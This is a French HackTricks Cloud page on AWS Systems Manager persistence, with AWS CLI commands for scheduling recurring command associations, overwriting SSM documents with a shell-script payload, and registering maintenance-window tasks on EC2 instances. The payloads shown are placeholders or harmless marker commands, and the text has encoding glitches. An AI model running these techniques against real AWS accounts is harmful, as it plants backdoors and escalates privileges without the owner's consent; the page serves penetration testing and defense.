AWS - SSM Perssitence
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
SSM
Pour plus dâinformations, consultez :
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Using ssm:CreateAssociation for persistence
Un attaquant disposant de la permission ssm:CreateAssociation peut crĂ©er une State Manager Association pour exĂ©cuter automatiquement des commandes sur des instances EC2 gĂ©rĂ©es par SSM. Ces associations peuvent ĂȘtre configurĂ©es pour sâexĂ©cuter Ă un intervalle fixe, ce qui les rend adaptĂ©es Ă une persistance de type backdoor sans sessions interactives.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Cette mĂ©thode de persistence fonctionne tant que lâinstance EC2 est gĂ©rĂ©e par Systems Manager, que lâagent SSM est en cours dâexĂ©cution, et que lâattaquant a la permission de crĂ©er des associations. Elle ne nĂ©cessite pas de sessions interactives ni de permissions explicites
ssm:SendCommand. Important: le paramĂštre--schedule-expression(par ex.,rate(30 minutes)) doit respecter lâintervalle minimum de 30 minutes imposĂ© par AWS. Pour une exĂ©cution immĂ©diate ou unique, omettez complĂštement--schedule-expressionâ lâassociation sâexĂ©cutera une fois aprĂšs sa crĂ©ation.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
Un attaquant disposant des permissions ssm:UpdateDocument et ssm:UpdateDocumentDefaultVersion peut escalader ses privilĂšges en modifiant des documents existants. Cela permet aussi de mettre en place de la persistence au sein de ce document. En pratique, lâattaquant aurait Ă©galement besoin de ssm:ListDocuments pour obtenir les noms des documents custom et, si lâattaquant veut obfusquer son payload dans un document existant, ssm:GetDocument serait nĂ©cessaire aussi.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Ci-dessous se trouve un exemple de document qui peut ĂȘtre utilisĂ© pour Ă©craser un document existant. Vous voudrez vous assurer que le type de votre document correspond au type du document cible afin dâĂ©viter des problĂšmes avec lâinvocation. Le document ci-dessous, par exemple, fonctionnera pour les exemples ssm:SendCommand et ssm:CreateAssociation.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
Un attaquant disposant des permissions ssm:RegisterTaskWithMaintenanceWindow et ssm:RegisterTargetWithMaintenanceWindow peut Ă©lever ses privilĂšges en enregistrant dâabord une nouvelle target avec une maintenance window existante, puis en mettant Ă jour lâenregistrement dâune nouvelle task. Cela permet une exĂ©cution sur les targets existantes, mais peut permettre Ă un attaquant de compromettre des compute avec diffĂ©rents roles en enregistrant de nouvelles targets. Cela permet aussi la persistence, car les tasks de maintenance windows sont exĂ©cutĂ©es Ă un intervalle prĂ©dĂ©fini lors de la crĂ©ation de la window. En pratique, lâattaquant aurait aussi besoin de ssm:DescribeMaintenanceWindows pour obtenir les IDs des maintenance windows.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

